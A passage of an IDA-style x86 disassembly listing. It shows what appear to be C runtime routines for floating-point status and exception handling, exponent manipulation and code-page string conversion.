loc_40FFBB:				; CODE XREF: sub_40FED1+4Aj
					; sub_40FED1+54j
		test	al, 2
		jz	loc_410090
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_410090
		xor	esi, esi
		test	al, 10h
		jz	short loc_40FFD5
		mov	esi, ebx

loc_40FFD5:				; CODE XREF: sub_40FED1+100j
		fldz
		push	edi
		mov	edi, [ebp+arg_4]
		fcomp	qword ptr [edi]
		fnstsw	ax
		test	ah, 44h
		jnp	loc_41007A
		fld	qword ptr [edi]
		lea	eax, [ebp+var_8]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+28h+var_28]
		call	sub_410348
		mov	ecx, [ebp+var_8]
		fstp	[ebp+var_10]
		add	ecx, 0FFFFFA00h
		add	esp, 0Ch
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41001C
		fld	[ebp+var_10]
		mov	esi, ebx
		fmul	ds:dbl_41EE28
		jmp	short loc_410070
; ---------------------------------------------------------------------------

loc_41001C:				; CODE XREF: sub_40FED1+13Cj
		fldz
		fcomp	[ebp+var_10]
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41002C
		mov	edx, ebx
		jmp	short loc_41002E
; ---------------------------------------------------------------------------

loc_41002C:				; CODE XREF: sub_40FED1+155j
		xor	edx, edx

loc_41002E:				; CODE XREF: sub_40FED1+159j
		movzx	eax, byte ptr [ebp+var_10+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	word ptr [ebp+var_10+6], ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_410067
		sub	eax, ecx

loc_410047:				; CODE XREF: sub_40FED1+194j
		test	byte ptr [ebp+var_10], bl
		jz	short loc_410052
		test	esi, esi
		jnz	short loc_410052
		mov	esi, ebx

loc_410052:				; CODE XREF: sub_40FED1+179j
					; sub_40FED1+17Dj
		shr	dword ptr [ebp+var_10],	1
		test	byte ptr [ebp+var_10+4], bl
		jz	short loc_410061
		or	dword ptr [ebp+var_10],	80000000h

loc_410061:				; CODE XREF: sub_40FED1+187j
		shr	dword ptr [ebp+var_10+4], 1
		dec	eax
		jnz	short loc_410047

loc_410067:				; CODE XREF: sub_40FED1+172j
		test	edx, edx
		jz	short loc_410073
		fld	[ebp+var_10]
		fchs

loc_410070:				; CODE XREF: sub_40FED1+149j
		fstp	[ebp+var_10]

loc_410073:				; CODE XREF: sub_40FED1+198j
		fld	[ebp+var_10]
		fstp	qword ptr [edi]
		jmp	short loc_41007C
; ---------------------------------------------------------------------------

loc_41007A:				; CODE XREF: sub_40FED1+111j
		mov	esi, ebx

loc_41007C:				; CODE XREF: sub_40FED1+1A7j
		test	esi, esi
		pop	edi
		jz	short loc_410089
		push	10h
		call	sub_410435
		pop	ecx

loc_410089:				; CODE XREF: sub_40FED1+1AEj
		and	[ebp+var_4], 0FFFFFFFDh
		mov	esi, [ebp+var_4]

loc_410090:				; CODE XREF: sub_40FED1+29j
					; sub_40FED1+43j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4100A7
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4100A7
		push	20h
		call	sub_410435
		pop	ecx
		and	esi, 0FFFFFFEFh

loc_4100A7:				; CODE XREF: sub_40FED1+1C3j
					; sub_40FED1+1C9j
		xor	eax, eax
		test	esi, esi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40FED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100B2	proc near		; CODE XREF: sub_410107+6Cp
					; sub_410107+91p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_4100CE
		jle	short locret_4100D9
		cmp	eax, 3
		jg	short locret_4100D9
		call	sub_405B83
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------

loc_4100CE:				; CODE XREF: sub_4100B2+7j
		call	sub_405B83
		mov	dword ptr [eax], 21h

locret_4100D9:				; CODE XREF: sub_4100B2+9j
					; sub_4100B2+Ej
		retn
sub_4100B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100DA	proc near		; CODE XREF: sub_4101F8+55p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_4100E6
		push	5
		jmp	short loc_4100FC
; ---------------------------------------------------------------------------

loc_4100E6:				; CODE XREF: sub_4100DA+6j
		test	al, 8
		jz	short loc_4100EE
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4100EE:				; CODE XREF: sub_4100DA+Ej
		test	al, 4
		jz	short loc_4100F6
		push	2
		jmp	short loc_4100FC
; ---------------------------------------------------------------------------

loc_4100F6:				; CODE XREF: sub_4100DA+16j
		test	al, 1
		jz	short loc_4100FE
		push	3

loc_4100FC:				; CODE XREF: sub_4100DA+Aj
					; sub_4100DA+1Aj
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4100FE:				; CODE XREF: sub_4100DA+1Ej
		movzx	eax, al
		and	eax, 2
		add	eax, eax
		retn
sub_4100DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410107(int,int,int,int,int,int,double,int)

sub_410107	proc near		; CODE XREF: sub_4101A5+2Ap
					; sub_4101F8+87p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax

loc_41010F:				; CODE XREF: sub_410107+18j
		mov	ecx, dword_423FD0[eax*8]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_41017F
		inc	eax
		cmp	eax, 1Dh
		jl	short loc_41010F
		xor	eax, eax

loc_410123:				; CODE XREF: sub_410107+7Fj
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	short loc_410188
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41040E
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40FAB8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410179
		push	esi
		call	sub_4100B2
		pop	ecx

loc_410179:				; CODE XREF: sub_410107+69j
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41017F:				; CODE XREF: sub_410107+12j
		mov	eax, off_423FD4[eax*8]
		jmp	short loc_410123
; ---------------------------------------------------------------------------

loc_410188:				; CODE XREF: sub_410107+21j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41040E
		push	[ebp+arg_0]
		call	sub_4100B2
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_410107	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4101A5(int,double,int)

sub_4101A5	proc near		; CODE XREF: sub_40ACF3+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_423FC0, 0
		jnz	short loc_4101D9
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		sub	esp, 18h
		fstp	[esp+1Ch+var_C]
		fldz
		fstp	[esp+1Ch+var_14]
		fld	[ebp+arg_4]
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_410107
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4101D9:				; CODE XREF: sub_4101A5+Aj
		call	sub_405B83
		push	0FFFFh
		push	[ebp+arg_C]
		mov	dword ptr [eax], 21h
		call	sub_41040E
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4101A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4101F8(int,int,double,double,int)

sub_4101F8	proc near		; CODE XREF: sub_40ACF3:loc_40ADB8p

var_9C		= qword	ptr -9Ch
var_94		= qword	ptr -94h
var_8C		= qword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_40		= dword	ptr -40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF0h
		sub	esp, 80h
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+80h+var_4], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FED1
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41024A
		and	[esp+80h+var_40], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [esp+98h+var_80]
		push	eax
		call	sub_40FBF7
		add	esp, 1Ch

loc_41024A:				; CODE XREF: sub_4101F8+2Bj
		push	[ebp+arg_0]
		call	sub_4100DA
		add	esp, 4
		cmp	dword_423FC0, 0
		jnz	short loc_410289
		test	eax, eax
		jz	short loc_410289
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		sub	esp, 18h
		fstp	[esp+9Ch+var_8C]
		fldz
		fstp	[esp+9Ch+var_94]
		fld	[ebp+arg_8]
		fstp	[esp+9Ch+var_9C]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_410107
		add	esp, 24h
		jmp	short loc_4102A3
; ---------------------------------------------------------------------------

loc_410289:				; CODE XREF: sub_4101F8+64j
					; sub_4101F8+68j
		push	eax
		call	sub_4100B2
		mov	[esp+84h+var_84], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41040E
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx

loc_4102A3:				; CODE XREF: sub_4101F8+8Fj
		mov	ecx, [esp+80h+var_4]
		xor	ecx, esp
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn
sub_4101F8	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4102B2(double)

sub_4102B2	proc near		; CODE XREF: sub_40ACF3:loc_40AD79p

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fld	[esp+8+arg_0]
		frndint
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_4102B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4102C3(double,int)

sub_4102C3	proc near		; CODE XREF: sub_410348+79p
					; sub_410348+8Ep

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		fld	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0+6]
		fstp	[ebp+var_8]
		add	eax, 3FEh
		shl	eax, 4
		and	ecx, 0FFFF800Fh
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4102C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102ED	proc near		; CODE XREF: sub_40ACF3+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_410305
		cmp	[ebp+arg_0], edx
		jnz	short loc_410318
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_410305:				; CODE XREF: sub_4102ED+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_410318
		cmp	[ebp+arg_0], edx
		jnz	short loc_410318
		push	2

loc_410315:				; CODE XREF: sub_4102ED+3Cj
					; sub_4102ED+55j
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_410318:				; CODE XREF: sub_4102ED+11j
					; sub_4102ED+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41032B
		push	3
		jmp	short loc_410315
; ---------------------------------------------------------------------------

loc_41032B:				; CODE XREF: sub_4102ED+38j
		cmp	cx, 7FF0h
		jnz	short loc_410344
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_410340
		cmp	[ebp+arg_0], edx
		jz	short loc_410344

loc_410340:				; CODE XREF: sub_4102ED+4Cj
		push	4
		jmp	short loc_410315
; ---------------------------------------------------------------------------

loc_410344:				; CODE XREF: sub_4102ED+43j
					; sub_4102ED+51j
		xor	eax, eax
		pop	ebp
		retn
sub_4102ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410348(double,int)

sub_410348	proc near		; CODE XREF: sub_40FED1+122p

var_C		= qword	ptr -0Ch
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		fldz
		fcom	[ebp+arg_0]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41035E
		xor	edx, edx
		jmp	loc_4103F0
; ---------------------------------------------------------------------------

loc_41035E:				; CODE XREF: sub_410348+Dj
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4103CB
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_410376
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4103CB

loc_410376:				; CODE XREF: sub_410348+27j
		fcomp	[ebp+arg_0]
		mov	edx, 0FFFFFC03h
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41038A
		xor	eax, eax
		inc	eax
		jmp	short loc_4103A2
; ---------------------------------------------------------------------------

loc_41038A:				; CODE XREF: sub_410348+3Bj
		xor	eax, eax
		jmp	short loc_4103A2
; ---------------------------------------------------------------------------

loc_41038E:				; CODE XREF: sub_410348+5Ej
		shl	dword ptr [ebp+arg_0+4], 1
		test	dword ptr [ebp+arg_0], 80000000h
		jz	short loc_41039E
		or	dword ptr [ebp+arg_0+4], 1

loc_41039E:				; CODE XREF: sub_410348+50j
		shl	dword ptr [ebp+arg_0], 1
		dec	edx

loc_4103A2:				; CODE XREF: sub_410348+40j
					; sub_410348+44j
		test	byte ptr [ebp+arg_0+6],	10h
		jz	short loc_41038E
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4103B8
		or	word ptr [ebp+arg_0+6],	8000h

loc_4103B8:				; CODE XREF: sub_410348+68j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		call	sub_4102C3
		add	esp, 0Ch
		jmp	short loc_4103F0
; ---------------------------------------------------------------------------

loc_4103CB:				; CODE XREF: sub_410348+1Ej
					; sub_410348+2Cj
		push	ecx		; int
		fstp	st
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		call	sub_4102C3
		mov	edx, dword ptr [ebp+arg_0+6]
		shr	edx, 4
		and	edx, 7FFh
		add	esp, 0Ch
		sub	edx, 3FEh

loc_4103F0:				; CODE XREF: sub_410348+11j
					; sub_410348+81j
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		pop	ebp
		retn
sub_410348	endp


; =============== S U B	R O U T	I N E =======================================



sub_4103F7	proc near		; CODE XREF: sub_40FBF7+DCp

var_4		= word ptr -4

		push	ecx
		fstsw	[esp+4+var_4]
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_4103F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_410402	proc near		; CODE XREF: sub_40FBF7:loc_40FE0Ap

var_4		= word ptr -4

		push	ecx
		fnstsw	[esp+4+var_4]
		fnclex
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_410402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41040E	proc near		; CODE XREF: sub_40ACF3+13p
					; sub_40ACF3+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		not	eax
		and	eax, [ebp+var_4]
		or	eax, ecx
		movzx	eax, ax
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41040E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410435	proc near		; CODE XREF: sub_40FED1+20p
					; sub_40FED1+3Ap ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  4

		push	ecx
		push	ecx
		mov	cl, byte ptr [esp+8+arg_0]
		test	cl, 1
		jz	short loc_41044B
		fld	tbyte_4240E0
		fistp	[esp+8+arg_0]
		wait

loc_41044B:				; CODE XREF: sub_410435+9j
		test	cl, 8
		jz	short loc_410460
		fstsw	ax
		fld	tbyte_4240E0
		fstp	[esp+8+var_8]
		wait
		fstsw	ax

loc_410460:				; CODE XREF: sub_410435+19j
		test	cl, 10h
		jz	short loc_41046F
		fld	tbyte_4240EC
		fstp	[esp+8+var_8]
		wait

loc_41046F:				; CODE XREF: sub_410435+2Ej
		test	cl, 4
		jz	short loc_41047D
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41047D:				; CODE XREF: sub_410435+3Dj
		test	cl, 20h
		jz	short loc_410488
		fldpi
		fstp	[esp+8+var_8]
		wait

loc_410488:				; CODE XREF: sub_410435+4Bj
		pop	ecx
		pop	ecx
		retn
sub_410435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41048B	proc near		; CODE XREF: sub_413857+243p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421C18
		call	__SEH_prolog4
		xor	eax, eax
		cmp	dword_4356E0, eax
		jz	short loc_4104F7
		test	byte ptr [ebp+arg_0], 40h
		jz	short loc_4104EF
		cmp	dword_4240F8, eax
		jz	short loc_4104EF
		mov	[ebp+ms_exc.disabled], eax
		ldmxcsr	[ebp+arg_0]
		jmp	short loc_4104E6
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_4104D0
		cmp	eax, 0C000001Dh
		jz	short loc_4104D0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4104D0:				; CODE XREF: sub_41048B+39j
					; sub_41048B+40j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	dword_4240F8, 0
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]

loc_4104E6:				; CODE XREF: sub_41048B+2Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_4104F7
; ---------------------------------------------------------------------------

loc_4104EF:				; CODE XREF: sub_41048B+1Aj
					; sub_41048B+22j
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]

loc_4104F7:				; CODE XREF: sub_41048B+14j
					; sub_41048B+62j
		call	__SEH_epilog4
		retn
sub_41048B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104FD	proc near		; CODE XREF: sub_41054E+Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		movzx	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	dl, [ebp+arg_C]
		test	[ecx+eax+1Dh], dl
		jnz	short loc_41053C
		cmp	[ebp+arg_8], 0
		jz	short loc_410536
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [ebp+arg_8]
		jmp	short loc_410538
; ---------------------------------------------------------------------------

loc_410536:				; CODE XREF: sub_4104FD+25j
		xor	eax, eax

loc_410538:				; CODE XREF: sub_4104FD+37j
		test	eax, eax
		jz	short loc_41053F

loc_41053C:				; CODE XREF: sub_4104FD+1Fj
		xor	eax, eax
		inc	eax

loc_41053F:				; CODE XREF: sub_4104FD+3Dj
		cmp	[ebp+var_4], 0
		jz	short locret_41054C
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_41054C:				; CODE XREF: sub_4104FD+46j
		leave
		retn
sub_4104FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41054E	proc near		; CODE XREF: sub_40AF33+3Fp
					; sub_40B06B+53p ...

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		push	0
		call	sub_4104FD
		add	esp, 10h
		retn
sub_41054E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410561	proc near		; CODE XREF: sub_40B4CD+56p
					; sub_40BA48+59p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	eax
		cmp	[esp+arg_0], 0
		jnz	short locret_41056D
		xor	eax, eax

locret_41056D:				; CODE XREF: sub_410561+8j
		retn
sub_410561	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_41056E	proc near		; CODE XREF: sub_40C208:loc_40C236p

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		test	byte_4240FC, 1
		push	esi
		jz	short loc_41059B
		push	0Ah
		call	sub_409E64
		pop	ecx

loc_41059B:				; CODE XREF: sub_41056E+23j
		call	sub_40E0CC
		test	eax, eax
		jz	short loc_4105AC
		push	16h
		call	sub_40E0D9
		pop	ecx

loc_4105AC:				; CODE XREF: sub_41056E+34j
		test	byte_4240FC, 2
		jz	loc_410659
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_407F20
		lea	eax, [ebp+2A8h+var_328]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		push	0
		mov	[ebp+2A8h+var_328], 40000015h
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	ds:dword_41D19C	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	ds:off_41D198

loc_410659:				; CODE XREF: sub_41056E+45j
		push	3
		call	sub_407E9A
		int	3		; Trap to Debugger
sub_41056E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410661	proc near		; CODE XREF: sub_40C307+25Ap
					; sub_40C6EC+150p

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	ds:off_41D054
		test	eax, eax
		jnz	short loc_410692
		or	eax, 0FFFFFFFFh
		jmp	short loc_41069C
; ---------------------------------------------------------------------------

loc_410692:				; CODE XREF: sub_410661+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40415A
		pop	ecx

loc_41069C:				; CODE XREF: sub_410661+2Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_402AD0
		leave
		retn
sub_410661	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4106A8	proc near		; CODE XREF: sub_40C307+285p
					; sub_40C307+336p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_30], eax
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	eax, [ebp+arg_4]
		mov	[ebp+var_34], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_2C], edi
		jz	loc_410845
		mov	esi, ds:dword_41D1B4
		lea	ecx, [ebp+var_18]
		push	ecx
		push	eax
		call	esi	; GetCPInfo
		test	eax, eax
		mov	ebx, ds:dword_41D0A0
		jz	short loc_41075B
		cmp	[ebp+var_18], 1
		jnz	short loc_41075B
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_41075B
		cmp	[ebp+var_18], 1
		jnz	short loc_41075B
		mov	esi, [ebp+var_24]
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_2C], 1
		jnz	short loc_410731
		push	[ebp+var_28]
		call	sub_4044E0
		mov	esi, eax
		pop	ecx
		inc	esi

loc_410731:				; CODE XREF: sub_4106A8+7Bj
		cmp	esi, edi

loc_410733:				; CODE XREF: sub_4106A8+C6j
		jle	short loc_410790
		cmp	esi, 7FFFFFF0h
		ja	short loc_410790
		lea	eax, [esi+esi+8]
		cmp	eax, 400h
		ja	short loc_410777
		call	sub_410860
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_41078B
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_410788
; ---------------------------------------------------------------------------

loc_41075B:				; CODE XREF: sub_4106A8+53j
					; sub_4106A8+59j ...
		push	edi
		push	edi
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_410733

loc_410770:				; CODE XREF: sub_4106A8+EEj
		xor	eax, eax
		jmp	loc_410848
; ---------------------------------------------------------------------------

loc_410777:				; CODE XREF: sub_4106A8+9Ej
		push	eax
		call	sub_403AA0
		cmp	eax, edi
		pop	ecx
		jz	short loc_41078B
		mov	dword ptr [eax], 0DDDDh

loc_410788:				; CODE XREF: sub_4106A8+B1j
		add	eax, 8

loc_41078B:				; CODE XREF: sub_4106A8+A9j
					; sub_4106A8+D8j
		mov	[ebp+var_1C], eax
		jmp	short loc_410793
